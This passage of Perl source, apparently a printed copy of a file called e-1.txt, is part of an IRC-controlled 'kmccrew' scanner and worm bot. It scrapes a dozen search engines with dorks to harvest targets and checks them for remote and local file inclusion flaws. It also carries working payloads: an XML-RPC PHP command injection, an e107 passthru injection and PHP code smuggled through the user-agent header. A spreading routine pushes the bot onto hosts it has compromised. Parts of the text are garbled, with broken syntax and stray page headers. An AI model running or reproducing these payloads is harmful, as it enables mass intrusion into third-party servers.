  if ( $q =~ /<a href="(.*?)\" class="(.*?)\" style=\"text-decoration:none\"
>Next/ ) {
    my $h = $1; $h =~ s/,//g; if ($conf{showdbse} ==
1){msgn($dbgchan,"Ask",$h);}
  }
  while ( $q =~ m/id="(.*?)\" href=\"http:\\\\/(.*?)\" onmousedown/g ) {
    my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  }
  for ($p=1;$p<=$max;$p++) {
    $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
    while ( $q =~ m/id="(.*?)\" href=\"http:\\\\/(.*?)\" onmousedown/g ) {
      my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## LYCOS ##
sub se_lycos {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 200; my $p;
  #my $url = "http://localhost/search/search.lycos.com.htm";
  my $url =
"http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=ima
ge";
  my $murl = "http://search.lycos.com/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href="(.*?)\">Next/ ) {
    my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Lycos",$nxurl);}
  }
  while ( $q =~ m/<a href=\"http:\\\\/(.*?)\" onmouseover/g ) { push (@daftar,
$1); }
  for ( $p=0;$p<=$max;$p++ ) {
    $q =
bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
    while ( $q =~ m/<a href=\"http:\\\\/(.*?)\" onmouseover/g ) { push (@daftar,
$1); }
    if ( $q !~ m/<a href=\"http:\\\\/(.*?)\" onmouseover/g ) { return @daftar; }
  }
  return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000;
  #my $url = "http://localhost/search/gigablast.com.htm";
  my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  my $murl = "http://www.gigablast.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /intronum">(.*?)</span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast",$h);
  }
  if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
    my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Gigablast",$nxurl);}
  }

```

e-1.txt

```
}
while ( $q =~ m/<a class=\"result-title\" href=\"http:\\\\/(.*?)\">/g ) { push
(@daftar, $1); }
while ( $q =~ /<a class=\"navigation\" href=\"(.*?)\">/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a class=\"result-title\" href=\"http:\\\\/(.*?)\">/g ) {
push (@daftar, $1); }
    }
return @daftar;
}
## MAMMA ##
sub se_mamma {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50; my $max = 10; my $p = 1;
    #my $url = "http://localhost/search/mamma.com.htm";
    my $url =
"http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&inkmccre
w=".$p;
    my $murl;
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /Search Results</b> .*? of (.*?) for/ ) {
        my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
    }
    if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ )
{
    my $h = $1; $h =~ s/,//g; if ($conf{showdbse} ==
1){msgn($dbgchan,"Mamma","$h");}
    while ( $q =~ m/http:\\\\/(.*?)<\/span>/g ) {
        my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $1); }
    }
    while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/
) {
        $nxurl = $murl.htmltourl($1);
        $q = bukasitus($nxurl);
        while ( $q =~ m/http:\\\\/(.*?)<\/span>/g ) {
            my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $1); }
        }
    }
}
return @daftar;
}
## DMOZ ##
sub se_dmoz {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 20; my $max = 5000; my $p = 1;
    #my $url = "http://localhost/search/search.dmoz.org.htm";
    my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
    my $murl = "http://search.dmoz.org/cgi-bin/";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /Open Directory Sites</b><\/font> \((.+?) of (.+?)\)/ ) {
        my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
    }
    if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
        my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Dmoz","$nxurl");}
    }
    while ( $q =~ m/<li><a href=\"http:\\\\/(.*?)\"/g ) { push (@daftar, $1); }
    while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
        $nxurl = $murl.htmltourl($1);
        $q = bukasitus($nxurl);
        while ( $q =~ m/<li><a href=\"http:\\\\/(.*?)\"/g ) { push (@daftar, $1); }
    }
}
return @daftar;
}
```

```

## VIRGILIO ##
sub se_virgilio {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 20; my $max = 2000; my $p = 0;
    my $url =
"http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&off
set=".$p;
    my $murl = "http://ricerca.alice.it/";
    my $nxurl;
    my $q = bukasitus($url);
    if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
        my $h = $1; $h =~ s/,//g; $h =~ s/\.///g;
        msgt($chan,"Virgilio",$h);
    }
    if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
        my $nxurl = $1; if ($conf{showdbse} ==
1){msgn($dbgchan,"Virgilio",$nxurl);}
    }
    while ( $q =~ m/<h3><a href=\"http:\\\\/(.*?)\" class/g ) { push (@daftar, $1);
}
    while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
        $nxurl = $murl.htmltourl($1);
        $q = bukasitus($nxurl);
        while ( $q =~ m/<h3><a href=\"http:\\\\/(.*?)\" class/g ) { push (@daftar,
$1); }
    }
    return @daftar;
}
## WEBDE ##
sub se_webde {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 1; my $max = 100; my $p;
    for ( $p = 0;$p <= $max; $p += $num ) {
        my $url =
"http://suche.web.de/search/web/?pageInkmccrew=".$p."&su=".$key."&y=0&x=0&mc=suc
he\\@web\\@navigation
\\@zahlen.suche\\@web";
        my $q = bukasitus($url);
        while ( $q =~ m/<span class=\"url\">http:\\\\/(.*?)</span>/g ) { push
(@daftar, $1); }
        if ( $q !~ /<span class=\"url\">http:\\\\/(.*?)</span>/ ) { return @daftar;
}
    }
    return @daftar;
}
## FIREBALL ##
sub se_fireball {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 1; my $max = 500; my $p;
    for ( $p = 0;$p <= $max; $p += $num ) {
        my $url =
"http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&e
nc=utf-8";
        my $q = bukasitus($url);
        while ( $q =~ m/<a href=\"http:\\\\/(.*?)\" target/g ) { push (@daftar, $1);
}
        if ( $q !~ /<a href=\"http:\\\\/(.*?)\" target/ ) { return @daftar; }
        if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
    }
    return @daftar;
}
## HOTBOT ##
sub se_hotbot {
    my ($chan,$key,$nf) = @_;

```

e-1.txt

```
my @daftar;
my $num = 1; my $max = 200; my $p;
for ( $p = 0;$p <= $max; $p += $num ) {
    my $url =
"http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&cur
rProv=msn&page=".$p;
    my $q = bukasitus($url);
    while ( $q =~ m/<span class="grn">http:\\\\(.+?)</span>/g ) {
        my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
    }
    if ( $q !~ /<span class="grn">http:\\\\(.+?)</span>/ ) { return @daftar;
}
}
return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 1; my $max = 10; my $p;
    for ( $p = 0;$p <= $max; $p += $num ) {
        my $url =
"http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=
webresults";
        my $q = bukasitus($url);
        while ( $q =~ m/ur1">http:\\\\(.*)</p>/g ) {
            my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
        }
        if ( $q !~ /ur1">http:\\\\(.*)</p>/ ) { return @daftar; }
    }
    return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 50; my $max = 500; my $p;
    for ( $p = 0;$p <= $max; $p++ ) {
        $num += $num;
        my $url = "http://www.webcrawler.com/webcrawler/ws/udir/qcat=web/qkw="
$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."
/_iceUrlFlag=11?_IceUrl=true";
        my $q = bukasitus($url);
        while ( $q =~ m/status='http:\\\\(.*)';/g ) {
            my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
        }
        if ( $q !~ /wsPagerNext/ ) { return @daftar; }
    }
    return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 10; my $max = 6000; my $p;
    for ( $p = 0;$p <= $max; $p+=$num ) {
        my $url =
"http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&st
ring=".$key;
        my $q = bukasitus($url);
        while ( $q =~ m/<a href="http:\\\\(.+?)\" class="searchlinklink\">/g ) {
            push (@daftar, $l); }
        if ( $q !~ /Next/ ) { return @daftar; }
    }
    return @daftar;
}
## ABACHO ##
```

e-1.txt

```
sub se_abacho {
    my ($chan,$key,$nf) = @_;
    my @daftar;
    my $num = 10; my $max = 1000; my $p = 0;
    for ( $p = 0;$p <= $max; $p += $num ) {
        my $url =
"http://search.abacho.com/it/abacho.it/inkmccrew.cfm?offset=". $p."&poffset=0&startCounter=". $p."&q="

$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=
&cluster=&coop=";
        my $q = bukasitus($url);
        while ( $q =~ m/target="\_blank">http:\\\\/(.+?)<\/a>/g ) { push (@daftar,
$1); }
        if ( $q !~ m/target="\_blank">http:\\\\/(.+?)<\/a>/g ) { return @daftar; }
        if ( $q =~ /we didn't find any results matching your query/ ) { return
@daftar; }
    }
    return @daftar;
}
}
## END OF RUTIN SEARCH ENGINE ##

##[ BUG JOOMLA ]##
sub bugjoomla {
    my $mode = $_[0];
    my @bugz;
    system("lwp-download ".$joomla);
    system("curl -O ".$joomla);
    system("wget ".$joomla);
    open(FILE,"< joomla.txt");
    if ($mode eq "hitung") {
        my $baris = 0; my $buff;
        while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
        close FILE;
        f_hapus("joomla.txt*");
        return $baris;
    }
    else {
        while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
        close(FILE);
        f_hapus("joomla.txt*");
        return @bugz;
    }
}

##[ MILWORM ]##
sub milworm {
    my ($chan,$key) = @_;
    my $max = 10; my $i;
    #my $q = bukasitus("http://localhost/milworm_rfi.htm");
    my $q = bukasitus("http://milworm.com/search.php?dong=".urlen($key));
    irc_msg($chan," [milworm.com] $key ");
    while ( $q =~ m/<a href=\\exploits\\/(.??)" target="\_blank"
class="style14">(.*?)<\/a>/g ) {
        $i++;
        my ($exp,$judul) = ($1,$2);
        irc_msg($chan,$colz{1}." $judul http://milworm.com/exploits/$exp ");
        sleep(1);
        return if ($i == $max);
    }
}

##[ BERSIH DORK ]##
sub bersihdork {
    my ($chan,$dork) = @_;
    if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
        irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
        $dork =~ s/^inurl://g;
    }
}
```

```

    $dork =~ s/^allinurl://g;
    $dork =~ s/^intext://g;
    $dork =~ s/^allintext://g;
    $dork =~ s/^intitle://g;
    $dork =~ s/^allintitle://g;
}
return $dork;
}

##[ SORTIR LINK ]##
sub lnk_sortir {
    my @unik = ();
    my %ada = ();
    foreach my $e ( @_ ) {
        next if $ada{ $e }++;
        push (@unik, $e);
    }
    return @unik;
}

##[ SARING LINK ]##
sub lnk_filter {
    my @unik = ();
    foreach my $url ( @_ ) {
        my $jelek = 0;
        foreach my $b ( @badlinkz ) {
            if ($url =~ /$b/) { $jelek = 1; }
        }
        if ($jelek == 0) { push (@unik, $url); }
    }
    return @unik;
}

##[ SUBLINK ]##
sub lnk_sub {
    my $link = $_[0];
    my (@links,$path);
    my ($host,@paths) = split(/\/$/, $link);
    $host .= "/";
    push (@links,$host);
    foreach my $e (@paths) {
        if ($e) {
            $path .= $e."/";
            my $sublink = $host.$path;
            push (@links,$sublink);
        }
    }
    return @links;
}

##[ INFO OS ]##
sub info_os {
    my $url = $_[0];
    my @info;
    my $h = bukasitus($url.$ckrid2."???");
    if ($url =~ /kmccrew/){
        $h = bukasituslfi($url."tes");
    }else{
        $h = bukasitus($url.$ckrid2."???");
    }
    my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
    while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
    while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
    while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
    while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
    while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
    while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
    while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
}

```

```

                                e-1.txt
while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
push (@info, $safe, $os, $uname, $server, $user, $uid, $dir, $perm, $hdd, $disfunc);
return @info;
}

##[ SAFEMODE INFO ]##
sub safemode {
    my ($type, $chan, $situs, $bug, $engine) = @_;
    my $safemode; my $vurn; my $sb;
    if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn; }
    else { $vurn = $situs; $sb = $vurn; }
    my ($safe, $os, $uname, $server, $user, $uid, $dir, $perm, $hdd, $disfunc) =
info_os($vurn);
    if ($safe =~ /OFF/) { $safemode = "\4OFF"; } elsif ($safe =~ /ON/) { $safemode
="\9ON"; } else { $safemode = "\0-"; }
    if ($disfunc) { $disfunc = "\9[1Disfunc1]\0[7 $disfunc \0]"; } else { $disfunc
= ""; }
    if ($perm =~ /W/) { $perm = "$perm"; } else { $perm = "$perm"; }
    my $statustgt = "[RFI]";
    if($sb =~ /kmccrew/){$statustgt = "\9,1[18LFI19]";}
    my $S1 = $statustgt."\9,1[1".$safemode."19[1$os1]\0[ $sb \0]";
    my $S2 = "\9,1[1Uname1]\0[ $uname ]\9 [1user1]\0[ $user / $uid ] \9[1server1]\0[
$server ] \0";
    my $S3 = "\9,1[1Dir1]\0[ $dir $perm \0] \9[1HDD1]\0[ \0 $hdd \0] $disfunc \0";
    if ($type == 1) {
        irc_msg($chan, $S1);
        if($safemode =~ /O/){ irc_msg($chan, $S2); irc_msg($chan, $S3); }
        irc_msg($chan, $colz{3}.$engine.$colz{4}) if ($engine);
    }
    ##[ SPREADING ]##
    bukasitus($vurn.$spread."?");
    bukasituslfisprd($vurn);bukasituslfisprd2($vurn);
    sleep($conf{sleepz});
    irc_msg($chan, $S1);
    if($safemode =~ /O/){ irc_msg($chan, $S2); irc_msg($chan, $S3); }
}

##[ CEK SHELL ]##
sub cek_shell {
    my ($chan, $nick, $situs) = @_;
    my $q = bukasitus($situs.$ckrid."?");
    print $q;
    if ($q =~ /kmccrew_kae/) { safemode(2, $chan, $situs, "", ""); }
    elsif ($q =~ /failed to open stream/){
        my $qlfi = bukasitus($situs.$lfitest);
        if ($qlfi =~ /HTTP_USER_AGENT/){ irc_msg($chan, "\9,1[18LFI19]
".$situs.$lfitest." ");safemode(2, $chan, $situs.
$lfitest."&kmccrew=", "", ""); }
    }
    else { irc_msg($chan, $nick." targetnya ga vurnerable!"); }
}

##[ ENCRYPT ]##
sub cr_encrypt {
    my ($too, $dataenc) = @_;
    my $teks = $dataenc;
    my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
    my $request = HTTP::Request->new(GET=>$hashing);
    my $useragent = LWP::UserAgent->new();
    $useragent->timeout($conf{timeout});
    my $response = $useragent->request($request);
    if ($response->is_success) {
        my $res = $response->content;
        if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g)
    }
}

```

```

                                e-1.txt
                                my ($md5,$sha1,$base64) = ($1,$2,$3);
                                irc_msg($too,"MD5      : ".$teks." -> ".$md5);
                                irc_msg($too,"Sha1     : ".$teks." -> ".$sha1);
                                irc_msg($too,"Base64   : ".$teks." -> ".$base64);
                                }
                                }
else { irc_msg($too,"MainHack Cannot open web code"); }
}

##[ DECRYPT ]##
sub cr_decrypt {
my ($too,$datadec) = @_;
my $hash      = $datadec;
my $cracker   = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request   = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout($conf{timeout});
my $response  = $useragent->request($request);
if ($response->is_success) {
    my $res = $response->content;
    if ($res =~ m/<div id="result" >(.*?)</div>/g) {
        my $result = $1;
        irc_msg($too,"md5 [RedNoize] ".$hash." -> ".$result);
    }
    else {
        irc_msg($too,"md5 [RedNoize] ".$hash." not found.");
    }
}
}
else { irc_msg($too,"Cannot open Md5.RedNoize.cOm"); }
}

##[ CEK IP ]##
sub cr_ipcek {
my ($too,$dipcek) = @_;
my $ip      = $dipcek;
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout($conf{timeout});
$request   = POST $website,%form;
$response  = $useragent->request($request);
if ($response->is_success) {
    my $res = $response->content;
    if ($res =~ m/Your IP address is (.*?)<br>City: (.*?)<br/>Country:
(.*?)<br>Continent: (.*?)<br>Time/g) {
        my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
        irc_msg($too,"IP Address : ".$ipaddress);
        irc_msg($too,"City      : ".$city);
        irc_msg($too,"Country   : ".$country);
        irc_msg($too,"Continent  : ".$continent);
    }
    else { irc_msg($too,"IP-Location Invalid address or IP not found."); }
}
}
else { irc_msg($too,"IP-Location Cannot open www.ipligence.com"); }
}

##[ CEK ZIP ]##
sub cr_zipcek {
my ($too,$dzipcek) = @_;
my $zip      = $dzipcek;
my $website  =
"http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request  = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout($conf{timeout});
}

```


e-1.txt

```

*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleeppz});
    irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleeppz});
    irc_msg($too,$9);irc_msg($too,$10);}
    elseif($q =~
/kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/)
{
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleeppz});
    irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleeppz});
    irc_msg($too,$9);}
    elseif($q =~
/kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleeppz});
    irc_msg($too,$7);irc_msg($too,$8);}
    elseif($q =~
/kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleeppz});
    irc_msg($too,$7);}
    elseif($q =~ /kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);irc_msg($too,$6);}
    elseif($q =~ /kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleeppz});
    irc_msg($too,$5);}
    elseif($q =~ /kmccrew(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleeppz});
    irc_msg($too,$3);}
    elseif($q =~ /kmccrew(.*)\s+(.*)\s+(.*)kae/){
    irc_msg($too,$1);irc_msg($too,$2);}
    elseif($q =~ /kmccrew(.*)\s+(.*)kae/){
    irc_msg($too,$1);}
    elseif($q =~ /kmccrew(.*)kae/){
    irc_msg($too,"[CMDe107][". $cmduser." ] sudah dilaksanakan");
    }else{ irc_msg($too,"target e107 ga vurnerable!"); }
}
##[ CEK RESPON ]##
sub cek_respon {
    my $chan = $_[0];
    my ($q1,$q2) = (bukasitus($ckrid),bukasitus($ckrid2));
    my ($rid,$rid2,$stat);
    if ( $q1 =~ /ckrid/ ) { $rid = "OK"; $stat = 1; } else { $rid = "ERROR!";
$stat = 0; }
    if ( $q2 =~ /ckrid2/ ) { $rid2 = "OK"; $stat += 1; } else { $rid2 = "ERROR!";
$stat += 0; }
    $lfid2 = bukasitus($ckrid2);
    $lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
    irc_msg($chan,$colz{1}."ckrid: $rid ckrid2: $rid2 LFI (Useragent): kmccrew
MULTY SCaN".$colz{2});
    return $stat;
}

##[ CEK DORK ]##
sub cek_dork {
    my $dork = $_[0];
    foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
}

```

```

return 0;
}

##[ CEK BUG ]##
sub cek_bug {
my $bug = $_[0];
foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
return 0;
}

##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
my ($nf,$hc) = @_;
my $fh;
open( $fh, ">>", $nf );
my @slink = lnk_sub($hc);
foreach my $s (@slink) { print $fh "$s\n"; }
close $fh;
}
sub f_simpan2 {
my ($nf,$isi) = @_;
my $fh;
open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
my ($nf,$isi) = @_;
my $fh;
open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}

##[ HTTP QUERY ]##
sub bukasitus {
my $url = $_[0];
my $request = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('kmccrew Bot Search');
my $response = $ua->request($request);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}
sub bukasitus2 {
my $url = $_[0];
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('kmccrew Bot Search');
my $response = $ua->get($url);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}
sub bukasituscrxml {
my $url = $_[0];
my $crMa = $_[1];
my $exploit;
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('kmccrew Bot Search');
$exploit = "<?xml version='1.0'><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>','</value></param></params>";
$exploit .=
"echo'kmccrew';echo`".$crMa."`;echo'kae';exit;/*</name></value></param></params>
</methodCall>";
my $response = $ua->request(POST $url,Content_Type => 'text/xml',Content =>
$exploit);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}

```

e-1.txt

```
}
sub bukasituscre107 {
    my $inc = $_[0];
    my $crMe = $_[1];
    $crMe = "echo('kmccrew ');passthru('".$crMe."');echo(' kae')";
    my $ua = LWP::UserAgent->new or die;
    $ua->agent('kmccrew Bot Search');
    $ua->timeout($conf{timeout});

    my $req = HTTP::Request->new(POST => $inc);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D" . $crMe.
"%3Bdie%28%29%3B%5B%2Fphp%5D");

    my $res = $ua->request($req);
    print $inc;
    if($res->is_success) {
        return $res->content;
    } else {
        return $res->status_line;
    }
}
sub bukasituscre107spred {
    my $inc = $_[0];
    my $crMe = $_[1];
    my $ua = LWP::UserAgent->new or die;
    $ua->agent('kmccrew Bot Search');
    $ua->timeout($conf{timeout});

    my $req = HTTP::Request->new(POST => $inc);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5D" . $crMe.
"%3Bdie%28%29%3B%5B%2Fphp%5D");

    my $res = $ua->request($req);
    print $inc;
    if($res->is_success) {
        return $res->content;
    } else {
        return $res->status_line;
    }
}
sub bukasitus3 {
    my $url = $_[0];
    my $host = $url;
    my $query = $url;
    my $isi; my $ kirim;
    my $uagent = "kmccrew Bot Search";
    $host =~ s/http://\./([\a-zA-Z0-9\.]*)\./;
    $query =~ s/$host//;
    eval {
        my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto
=> "tcp") || return;
        $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept:
*/*\r\nUser-Agent: ".$uagent."\r\n\r\n";
        print $sock $kirim;
        my @r = <$sock>;
        $isi = "@r";
        close($sock);
    };
    return $isi;
}
sub bukasituslfi {
    my $url = $_[0];
    my $agent = $lfiid2;
    my $ua = LWP::UserAgent->new(agent => $agent);
    $ua->timeout($conf{timeout});
    my $req = HTTP::Request->new(GET => $url);
```

```

                                e-1.txt
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslfisprd {
my $url = $_[0];
my $agent = $lfisprd;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslfisprd2 {
my $url = $_[0];
my $agent = $lfisprd2;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslficmd {
my $url = $_[0];
my $agent = "<?php echo \"crack#\"; exec(\"'\".$cmdlfiu.\"'\"); echo \"#crack\";
?>";
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub siteDomains {
my @dom =
("ru","pl","biz","tv","info","org","net","ae","ar","at","au","be","br","ca","ch",
,"cl","de","dk","fi","fr","gr","hk",
"ie","il","it","jp","kr","lt","lv","nl","pa","pe","pl","pt","ru","sg",
"tr","tw","ua","uk","hu","af","ae","ag","ai","am","ar","as",
"at","au","az","ba","bd","be","bg","bh","bi","bn","bo","bn","bs","bw",
"by","bz","ca","cd","cg","ch","ci","ck","cl","cn","co","cr","cu","cz","de",
"dj","dk","dm","do","ec","ee","eg","es","et","fi","fj","fm","fr","ge","gg",
"gi","gl","gm","gp","gr","gt","gy","hk","hn","hr","ht","hu","id","ie","il",
"im","in","is","it","je","jm","jo","jp","ke","kh","ki","kg","kr","kz","la",
"li","lk","ls","lt","lu","lv","ly","ma","md","mn","ms","mt","mu","mv","mw","mx",
"my","na","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa",
"pe","ph","pk","pl","pn","pr","pt","py","qa","ro","ru","rw","sa","sb",
"sc","se","sg","sh","si","sk","sn","sm","st","sv","th","tj","tk","tm","to","tp",
"tr",
"tt","tw","ua","ug","uk","uy","uz","vc","ve","vg","vi","vn","vu","ws",
"yu","za","zm","zw");
return @dom;
}
##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&/&/g; return $str; }
sub urlen {
my $str = $_[0];
#$str =~ s/\+/\%2B/g;
$str =~ s/\+/\%2B/g;
$str =~ s/@/\%40/g;
$str =~ s//\%2F/g;
$str =~ s/&/\%26/g;
$str =~ s/\//\%22/g;
$str =~ s/,/\%2C/g;
$str =~ s/\\/ \%5C/g;
$str =~ s/:/\%3A/g;

```

```

$str =~ s/^\[^\%5B/g;
$str =~ s/^\]^\%5D/g;
$str =~ s/^\?^\%3F/g;
$str =~ s/^\=^\%3D/g;
$str =~ s/^\|^\%7C/g;
return $str;
}
sub urlde {
